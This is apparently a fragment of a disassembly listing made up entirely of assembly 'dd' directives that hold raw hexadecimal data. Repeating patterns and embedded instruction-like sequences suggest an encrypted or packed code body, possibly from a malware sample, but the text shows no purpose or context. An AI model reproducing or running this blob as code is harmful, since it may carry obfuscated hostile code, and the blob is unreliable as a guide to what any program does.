dd 9D6B1D92h, 0D11E13EDh, 0D4F30139h, 793903E7h, 57BD8B5Ah dd 3869490Ah, 13EB5A79h, 0BEFD11Eh, 11EFD11Eh, 0F83BD320h dd 58EFBC4Ah, 1D01EE03h, 0A55A7939h, 6EBB6E8Dh, 743870D6h dd 9D49F366h, 432A409Bh, 0D5000000h, 5340FB2Ch, 5491D36Fh dd 0D42105F2h, 0DBA95491h, 3EF55B29h, 76FB8A51h, 0EF3C0A51h dd 78FB4E2Eh, 31D05Ah, 0FF2AD1B3h, 0B1F0CCB2h, 63A66184h dd 763BD1C1h, 5803D9DFh, 409BADAEh, 0B78Fh, 39C63A00h dd 32C9ABF8h, 0E41410A9h, 92F87ADAh, 959C6345h, 98996648h dd 6549D302h, 0AC535492h, 65634734h, 1DEB5492h, 509D946Dh dd 899B52B8h, 5168CE94h, 0CFBC738Bh, 54924FEBh, 7B6DA573h dd 4EAC6691h, 90F68EDBh, 48B6C4D9h, 68CE5B9Fh, 0D98425B4h dd 255D0C7Fh, 795C5A3Ah, 550CDA51h, 0DF75B447h, 99BD6C8Fh dd 0E4EC21E9h, 4BE623Fh, 4C000001h, 9BEB8198h, 0E434CA5Fh dd 32821801h, 7DCD63CEh, 0FC15AB7Eh, 9E8B7093h, 0EB46B808h dd 35FC0555h, 81B04F9Fh, 10FD16EBh, 5A7F302Ch, 0BF49CEB4h dd 94E150B1h, 43B8C4FCh, 80CD649Ch, 9CEC82E8h, 0E338CE63h dd 0ABF839C6h, 65FB36C9h, 29E0487Bh, 769E783Ch, 19E80051h dd 1B996BCAh, 0D63CEF1Eh, 50ABB970h, 8477708Fh, 5AC058A5h dd 91DE3BAAh, 0CEFD93F9h, 5A78EBEEh, 0CA28F70h, 9DEA3FBCh dd 7EF9h, 0AABF5C00h, 91D3D9BDh, 5B936154h, 631A82B5h dd 7C8A7176h, 0A5597151h, 0F7D9268Ch, 3C932908h, 1461D02Eh dd 0C738447Ch, 1F341D6Ah, 2D391D0Ah, 0F3C15A7Fh, 7F2C8064h dd 6EEC085Ah, 0E7F51E46h, 4E3971D7h, 50A1083Ch, 9DB44276h dd 0E939CF62h, 0ECCE1B16h, 128D314h, 0CA94E9Bh, 0F260AF7h dd 50B078A1h, 29612FE1h, 3FC09765h, 8BD859A8h, 0A7F78DF3h dd 0E88CD958h, 3, 0C613584Bh, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h dd 0D4B6032Eh, 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h dd 6FBB0821h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 4F68243Ch, 89000057h, 8951241Ch, 4C181E1h, 83000000h dd 0C8704E9h, 0C895C24h, 59826824h, 1C8B05EDh, 4C48124h dd 54000000h, 83240C8Bh, 0EC8104C4h, 4, 0BA241489h, 8 dd 1A89CA01h, 2434FF5Ah, 4C48359h, 53241C8Bh, 0C381E389h dd 4, 8704C383h, 0E95C241Ch, 0FFFA2267h, 5D434BDCh, 5DAFB8F7h dd 0C50305EDh, 0BB74E0FFh, 6133987h, 53C10A53h, 61BD4FA7h dd 92C21180h, 0D32779Bh, 86096BEDh, 0C3775D5Dh, 9370DF7h dd 82FC4969h, 9F327BF7h, 0FC732588h, 0DA687702h, 13E86304h dd 65000000h, 89632BB7h, 0CA067250h, 4EBD957Ah, 0FD1850CFh dd 0BF663F8Ch, 815EF5DFh, 5B13C6h, 33DF8B00h, 0DE9C0h dd 5AA70000h, 0F633C7FCh, 0A2160054h, 0FF498BAAh, 8A0F3034h dd 5, 0BFC78166h, 66515AF1h, 0A50DDF81h, 0EC2815Bh, 8B5E8C3Fh dd 75F281C8h, 8A1E46D6h, 0BDEA81DAh, 0B95E3AC5h, 592551Eh dd 7901BF52h, 48F6FCDh, 5880F06h, 53000000h, 59FEBF0Fh dd 14810Fh, 0E9600000h, 0Dh, 6072F267h, 12B7869Bh, 0A5BB19D8h dd 0E88161EBh, 658AA0E3h, 0A0DFC081h, 81F8658Ah, 0FFA5E8F8h dd 18850FFFh, 66000000h, 4BE9D98Bh, 0B4000000h, 0D4ED4122h dd 0AB009F03h, 9033A958h, 0E8D19EC4h, 8, 4D50CAB4h, 0C6594270h dd 0FE960h, 0AD7F0000h, 85D5D31Ah, 17A2E588h, 5A4BF58Dh dd 880FD8h, 61000000h, 0FF41E95Bh, 9181FFFFh, 9FC2B851h dd 25527A09h, 8D8DC52Ah, 5ED603Bh, 9AC2BF66h, 1AA98D89h dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0DFBC2BC3h, 9F8B50B8h, 85C76D58h, 5E72A4Dh dd 7004h, 1B518D89h, 85C705E7h, 5E72739h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 81C35747h dd 95098FB4h, 5E72C89h, 1639B5FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 21BE00C3h dd 9908A23Ch, 95FF1305h, 5E71795h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C6C35040h, 26C0CA44h, 8B66FE64h dd 0FF006AD3h, 0E721C195h, 0EBC08B05h, 8D3DAC0Dh, 60CF5E93h dd 0FEBE071Eh, 8D8DB9CEh, 5ED6142h, 0E7811FB4h, 0EF41268h dd 1AA98D89h, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 65D112C3h, 0BCA1DCF0h, 2C899589h dd 85C705E7h, 5E72A4Dh, 7410h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 10C35545h, 6273EC44h, 0BD89E5BDh dd 5E72E35h, 273985C7h, 5E7h, 10E90000h, 0A9000000h, 0F30E7E5Ch dd 0C0709BBAh, 0EA66694Ch, 0FF103E4Eh, 0E70091B5h, 79B53105h dd 0FF05E716h, 0E7179595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E8937064h dd 12h, 0EA313FFDh, 202BC6DFh, 11FA7933h, 26A47D4Ah, 14E93190h dd 0D6000000h, 0B1553E8Dh, 0BC37B711h, 5FE6362Bh, 51BB75D4h dd 5A64BC22h, 95FF006Ah, 5E721C1h, 1CEBC08Bh, 6AD8FD4Ch dd 9BA0E1F1h, 3E42DFC6h, 0E3E9313Ch, 0B81A7075h, 0C97BD445h dd 353A2B10h, 0B13EE853h, 0F532565Dh, 0F501EEACh, 0B1325655h dd 0B13256ABh, 0E88D01D5h, 0EBFB1DEAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh, 0B63581AEh dd 0AB325257h, 0B13247ABh, 0D83256D5h, 0F93256E9h, 0F9325677h dd 0B132EEB8h, 0D752565Dh, 0E6786811h, 42B9370Fh, 7240C0CAh dd 0AE8C2F95h, 0ADBB6386h, 803DF351h, 0E96837DAh, 3A526752h dd 0B121BF78h, 7DCD5657h, 9297CBEh, 0D5C5A044h, 61A1D427h dd 4DDD98BCh, 0E968373Fh, 0E160060Dh, 0BE6006FCh, 0BE6A0C66h dd 0B121BF9Ah, 9DED56D5h, 0A9C9DC1Fh, 75E50004h, 8141B417h dd 0EDFD78F4h, 0BE6A0CCBh, 0B134BF66h, 763456ABh, 0D2A04B21h dd 0F8A50EB0h, 0B44E393Bh, 0E968DDE0h, 3DA50E07h, 0B122BF7Bh dd 0E04A5657h, 3C16E11Dh, 38A20597h, 0F48EF964h, 0BEAF9DEFh dd 0BE539C0Dh, 0D052366Ch, 386A0CCFh, 58367213h, 0B13256ADh dd 0DCB6C1C3h, 2D6A6548h, 0B1325D9Ch, 0BC9661BAh, 0B822859Fh dd 740E79A0h, 99F4D731h, 0B134BFCEh, 96D456D5h, 72402B3Eh dd 0E96837E8h, 0E96837E2h, 0B51612D4h, 0B1324247h, 5BE7DA57h dd 7632E70h, 0F3BF7262h, 3FBBC6B9h, 2B77EADAh, 0B1320E71h dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B1DA36EAh, 0EB325675h, 0D510BC3Bh, 34BF53B0h, 0B4DE851Ch dd 0D04AD4DEh, 33BF5346h, 0B4DF8B73h, 0D04ED463h, 0FFDA5398h dd 593256B3h, 0B1325626h, 0D05AD469h, 0B13253BAh, 776056ABh dd 5600F350h, 0E35A00EFh, 4EAEFECDh, 5619530Fh, 10B7DB58h dd 4E37BCD3h, 6CB7DF87h, 0DB37B1ACh, 0A1323ED1h, 0F15A56EAh dd 0DB325578h, 0EBE2A9BAh, 82469656h, 0D05AD427h, 33BB53BAh dd 0B4DF37C7h, 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h dd 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B4D55176h, 0DB0DF8Fh dd 0D037BB8Bh, 0D05AD3FEh, 0D1F15357h, 0AC33D49Ah, 0B1325349h dd 33F55617h, 0B4D5578Eh, 0B13246D5h, 3A52958Bh, 5C533ECFh dd 0B10DD5BFh, 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh dd 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh dd 0E4F13747h, 5952BADCh, 0B13256ABh, 0A6D8D78Fh, 3A37BB8Fh dd 5C5396C7h, 0B977DDBFh, 33B150D4h, 0B4DF376Eh, 73FB3753h dd 595256AFh, 0B13256D5h, 8AD8D7B0h, 3A37BB10h, 5C53EA08h dd 71806D58h, 0C537BBCFh, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h dd 0B236236Ah, 9A30BDACh, 3A711563h, 562E0BD8h, 3CBFDDABh dd 8A37B17Bh, 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh dd 9DBFEB33h, 6D953BAh, 595295CFh, 0B1325657h, 22D8D7F1h dd 3A37BBB0h, 5C53EA50h, 0B032EF70h, 710156BAh, 33B9FDAEh dd 0B4DF3712h, 0D0F2D4DEh, 72535346h, 0B132BEB5h, 306856EAh dd 5C57EB9Fh, 14B790BFh, 0E737B16Fh, 0AE5F6FC6h, 0B487A983h dd 3C37B180h, 5B4FF750h, 0E3E2A9EFh, 31323E25h, 0B15856BAh dd 0D05AE4A2h, 61CD5343h, 0B15A0C0Fh, 0DB32562Bh, 0D80A9D5h dd 4E37BB8Bh, 0E4F137A5h, 5952BA31h, 0B132565Dh, 0BAD8D7F4h dd 3A37BB31h, 29DA5EDEh, 0E43256D7h, 0D04AC415h, 8A6F5398h dd 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh, 4DF6D547h dd 59610183h, 0B13256EAh, 8ED8D72Fh, 3A37BBDCh, 0CCB95E28h dd 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh, 5C532E78h dd 0C4090B70h, 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h dd 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h dd 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h dd 0D09AD42Dh, 0B1335398h, 0C4B956BAh, 0AFB93055h, 0D05AEC25h dd 0EEB953BAh, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh dd 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h, 0BEDBAD2Bh dd 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh dd 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h dd 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h dd 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h dd 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h, 5C53FE57h dd 0AFB930EFh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h dd 30C9D731h, 0D121226Bh, 0C9A0A980h, 0EC37BB8Bh, 0D0CE13FCh dd 0B0CE2B39h, 0BB93528h, 0B4D54BAFh, 19B0DD07h, 8837BBCAh dd 0C36A66E9h, 9488DDBAh, 0E137B174h, 0D09AD431h, 8D0B53B0h dd 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh dd 0BB95675h, 0B4DF37D2h, 6A3949D6h, 6F0949DAh, 0ECB95922h dd 494FD5A7h, 0B23122D5h dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h, 0B4DF3793h dd 23CD00FBh, 0B4DF37A9h, 0BB4696E1h, 3BF9EFEh, 0B4DF377Eh dd 3A6446B6h, 23CD0360h, 0B4DF372Fh, 46FC7DF6h, 0CCB1080Ch dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh dd 0B132BEB5h, 306856EAh, 5C5ACB9Fh, 0B977DDBFh, 0D042D4D4h dd 78535343h, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh dd 0D98CBCF4h, 0F4F55357h, 0B13256A5h, 4D7791AEh, 0B1325657h dd 3A549698h, 19B091CBh, 0B037BB8Bh, 0D7325675h, 21A2AD3Bh dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh dd 0B1D7D258h, 333156ABh, 0B4D54198h, 53C9D6AAh, 0B1FCD27Ah dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h dd 19B0A935h, 0D737BBDBh, 56B248D6h, 4AB33056h, 9546BED6h dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h, 5C532E28h dd 0F4BB0B58h, 0CCB13752h, 343D57ABh, 0B1325783h, 0AC33EC5Eh dd 3A62530Dh, 5C53FEF7h, 810E6FBFh, 0A0B05905h, 3A3256AFh dd 563373EDh, 33B906AEh, 0B4DF377Dh, 0E9026AD3h, 0B1C8D97Ah dd 0BB956BAh, 0B4DF3731h, 0D05ED42Dh, 382653BAh, 0A175DF9Ch dd 19B0DD85h, 3A37BB8Bh, 386A6669h, 64DB5EE5h, 7632565Dh dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 5C533A50h dd 0DDB0D570h, 0A537BBDBh, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h dd 0B4DF3703h, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh dd 323256EAh, 0BAD9539Dh, 19A8DDE9h, 3A37BB3Ch, 186965AAh dd 31325657h, 773142DEh, 0B2379656h, 5C53FE68h, 0F6BB1E70h dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 5C53FE29h dd 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 4FA8DCDCh, 3137BA78h dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh dd 5952AA99h, 0B13256AEh, 7ED8D70Dh, 3A37BBC1h, 5C533E6Fh dd 32FB65EFh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h dd 93CBDACh, 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B4D5553Ch, 0B222292Dh dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h dd 0EB3256D5h, 0DA88BC6Bh, 0BB95398h, 0B4DF37D2h, 8EB19F6Eh dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h dd 32372575h, 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh dd 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h dd 0CEB15E29h, 0B34656A2h, 4E8A58BCh, 8CDA954h, 0B13256D0h dd 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh dd 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh dd 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh dd 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh, 5DB9035Dh dd 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h dd 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h dd 0B4DF3A3Bh, 6A019FE6h, 3ACE0B63h, 5C533ECFh, 0B10DD5BFh dd 8EB13229h, 32372351h, 40D94290h, 0B1362928h, 0CEB15EA1h dd 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh dd 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h dd 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h dd 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh dd 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h, 0AAD8D7B0h dd 3C37BB18h, 5C53D620h, 0B156EE58h, 63DA56AEh, 3A325657h dd 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh dd 5A26BD5Fh, 1AA8DBBCh, 4E37B857h, 3C3ABD78h, 5F31874Fh dd 0EAE1A9EFh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0DC58BC2Fh dd 3C5253BAh, 5C53D611h, 0B977DDD0h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 0B4D56470h, 0C2283EADh, 4CDFE62h, 0B4D57DBFh, 0CC93D3D0h dd 61CD5344h, 1DB8DB05h, 0E037BBCAh, 3C68862Ah, 5C53FA68h dd 0F1855970h, 0E3EADDB6h, 0B2686752h, 0ECB0DF6Dh, 0D037B142h dd 0E85251C3h, 0 dd 0DBEA815Ah, 5205ED6Dh, 155D828Bh, 6DB905E7h, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 155D8289h, 595A05E7h dd 0E85251C3h, 0 dd 0BEA815Ah, 8B05ED6Eh, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 0ED641C85h, 66D0FF05h, 858DC18Bh dd 5ED6DD4h, 20598589h, 858D05E7h, 5ED6E04h, 14258589h dd 0B805E7h, 0B000000h, 47840FC0h, 0C6000000h, 0E732A585h dd 0DF685605h, 0FFA9C530h, 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh dd 8D8D50D0h, 5E70945h, 68046A51h, 1000h, 134DB5FFh, 0D0FF05E7h dd 134DBD8Bh, 7F0305E7h, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 5E71B41h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 13E8h, 0B98E0600h, 933055A7h, 0F774F613h, 425E5C89h dd 0F36B4087h, 6EBE6660h, 6141B6D7h, 5BA665Fh, 3BC78159h dd 52000069h, 0BE5BDE8Bh, 6E8070Bh, 0ECEAEE81h, 8F0F06E7h dd 3, 0FFCA8B66h, 0FF86037h, 5861F6B7h, 0DEB70F56h, 0E1E8815Ah dd 0F5B9B42h, 384h, 0BDCE8000h, 9BA7F081h, 890F1671h, 4 dd 0A208BA66h, 438DC081h, 0BB661586h, 789172Fh, 12E8h dd 4ECB8200h, 0ABCBF50Dh, 2275A545h, 962CCB38h, 66CF0304h dd 5BA8ECBAh, 4521EF81h, 60563F3Dh, 0CABF0FF5h, 0C7815A61h dd 3F3D451Dh, 2830Fh, 0CE8B0000h, 88850F4Eh, 0B9FFFFFFh dd 26D3287Fh, 70578D8Dh, 6A05EDh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 30159C3h, 0E720559Dh dd 0A98D8905h, 6A05E71Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0B3F3C352h, 0A16C4490h dd 1A9C8C6Ch, 0C776CB80h, 0E72A4D85h, 6A7C05h, 0E5858900h dd 8B05E722h, 0E72CE9B5h, 3985C705h, 5E727h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 2061C356h, 27915FC9h, 8A56F0CCh, 81665FD9h dd 0FF1413CFh, 0E72B45B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0CDAB1356h dd 5E5A39DAh, 9595FFF0h, 8905E717h, 0E70AD59Dh, 0FF006A05h dd 0E721C195h, 0EBC08B05h, 0F5E8C80Fh, 0CF417438h, 0DD09F82Dh dd 132FB9C6h, 0BE8h, 13AF4200h, 0C56A6452h, 7A964A70h dd 68E0Fh, 0B5290000h, 5E7033Dh, 0F99D2B59h, 8105E732h dd 7358C1h, 0CE800h, 9DE0000h, 0C4B1FE4Bh, 0BB2CE69h, 71BBFA60h dd 582CE86Dh, 1CB268h, 0F9BD8900h, 5F05E721h, 0C59D8B53h dd 5E05E720h, 858931FFh, 5E7194Dh, 4185315Ah, 8105E703h dd 0E01EF0C2h, 4EF2811Ch, 0B351B947h, 0E4EA81E6h, 8902B487h dd 0E7067D95h, 18F5205h, 8B03E983h, 0E7281D85h, 8B664905h dd 1EF83C6h, 0FFBE850Fh, 0B70FFFFFh, 9508EBF6h, 663521h dd 0E9000000h, 0AC7h, 0ED729C68h, 0D843E905h, 6568FFFAh dd 0E905ED73h, 0FFFAD839h, 0ED750468h, 0D82FE905h, 0EE68FFFAh dd 0E905ED75h, 0FFFAD825h, 0ED77C068h, 0D81BE905h, 6468FFFAh dd 0E905ED79h, 0FFFAD811h, 0ED7A7268h, 0D807E905h, 6F7FFFFAh dd 4C9F53E1h, 0B2BE7200h, 95DA8E1Ch, 0E7F5A937h, 0D2B4C755h dd 0C856E0F6h, 0E573C114h, 0FE8C2031h, 18A6184Ah, 3AE317FBh dd 0CA583E11h, 342612E8h, 87758582h, 0B0C7DE70h, 1EFF332Bh dd 0DE5E2AF1h, 1FC1D82Bh, 1BED7BCDh, 828FF7D3h, 774C585Ch dd 0DAD9D666h, 9CD03487h, 5BCC4C04h, 4E504D00h, 584434D3h dd 5F5635Bh, 0BEA7276Fh, 297Ah, 0E6088400h, 1305399Dh dd 0CF5BCCAAh, 41D1F1Ch, 2A58445Ah, 3ED4C432h, 57BEA6CDh dd 4461B769h, 5F762EF0h, 0E175h, 0FEEC7F00h, 7AC7C362h dd 54C9FD09h, 0A85E2B2Fh, 0E98BA2F5h, 724845F7h, 0FFD5D264h dd 0EFF75BEDh, 51504DE3h, 0FDEFC53Ah, 2F17063Ah, 5BE55E2Bh dd 1467BA0Ah, 32BDA686h, 0A6B85E2Bh, 2000CB57h, 0A206E3A0h dd 2B21AF6Eh, 479A4D5Eh, 61D305B9h, 2E7E7064h, 17A5B63Fh dd 0D90D71C4h, 5BCC251Bh, 0CDE6C1Fh, 0FB3DA1E2h, 70309B0Dh dd 51C578Ah, 0DB055737h, 94F8AB55h, 0EFEC5E8Ch, 0F5FDD9F0h dd 13C755E7h, 4C8FB6C5h, 64DC235Ch, 1CEFED30h, 95C0F5Eh dd 0F0AC71A5h, 9D505E1Ch, 3573174Ah, 0C65FC4CBh, 88BE2h dd 2492C200h, 43F1E296h, 5FF101B5h, 7AD61DD1h, 982238ECh dd 3915F70Ah, 570B9923h, 7428B606h, 8D41CF7Dh, 3E5BE95Bh dd 0FF7265Ah, 2305583Eh, 8630264Dh, 0A01244F8h, 0E4EC5412h dd 6D2D44F6h, 6A9E0281h, 5BCCAAAEh, 78D41D25h, 98AF1D4Eh dd 4B4D4AFDh, 58445AD6h, 2F26058h, 0BEA6CD6Ch, 0AA77h dd 34268100h, 0B9AF8582h, 5310120Fh, 2E5E2B85h, 48FC8A3Ch dd 0B3A7A416h, 20333B3Bh, 42989794h, 5E2B7DDBh, 0BF237629h dd 1A17A1B7h, 9A83B71Bh, 6A5E2B7Eh, 90C4A0B7h, 5BCC8264h dd 4951B568h, 8B91A814h, 787735B9h, 0E91D81D4h, 55DB32B6h dd 2B33974Ah, 49FD8B3Dh, 0D076A913h, 0C6C4CB54h, 7C2492Dh dd 5B8B0000h, 0B8AB5FEDh, 86CA7E0Ch, 0E9E69A28h, 0EB01B543h dd 0DEC0D361h, 0D462D402h, 0F17FCD20h, 0A98343Dh, 24B20456h dd 2EEF2307h, 0CE583E0Fh, 302616ECh, 1244F886h, 3D343CA0h dd 40B86BD2h, 0BC0F9C99h, 26E19FA5h, 75858234h, 9FC97B6Dh dd 0FFFEFB4Dh, 0A21446E8h, 4AC4214h, 0AE1265D3h, 0CC8B2E7Ah dd 88B7A55Bh, 0A11345A7h, 1B4A8D91h, 514EE2F1h, 0EDA03B52h dd 98D8E0F0h, 233A3936h, 4FDD6F81h, 591B7361h, 0D373F5F0h dd 25E23B6Fh, 6F225844h, 12A4B658h, 6F24C0AEh, 61A54F05h dd 5054C9FDh, 0F5A85844h, 0D96769DEh, 0D3866Fh, 0ABB3C02Eh dd 100F0CB8h, 0B30557F9h, 0CD7F7125h, 7152CED0h, 219FDB8Ah dd 3C8EE0B3h, 0BB6296D8h, 49DB8A71h, 0C5797F96h, 22242193h dd 1F336B52h, 3A0D7B85h, 54089628h, 3799D902h, 0EBE83B3Ah dd 2C90F7F7h, 0F3A2FCEAh, 9FEE4877h, 8999BE0Fh, 0A8BFCF29h dd 6E3132DAh, 71FFB2DEh, 11614F9Fh, 70C3C2BFh, 55CCD80Ch dd 7D30E313h, 0AA27E80h, 948CE0CDh, 51A03626h, 0B2AB361Eh dd 85000003h, 0F15A5C97h, 565552FEh, 0A70B1D46h, 0BD17E490h dd 14A6B4BCh, 41011817h, 3E72D6ADh, 5BCCAF7Eh, 2567CB7Eh dd 44502CF1h, 0F31DD058h, 565552E2h, 10D1C13Fh, 0CFD93E1Eh dd 0FA23571Fh, 0AD941A1h, 6CA00457h, 0D6E2C9B0h, 0B0A4A154h dd 0C351883Eh, 4D2BFBAAh, 5E6296FAh, 0E6DAB3EAh, 95C7CF33h dd 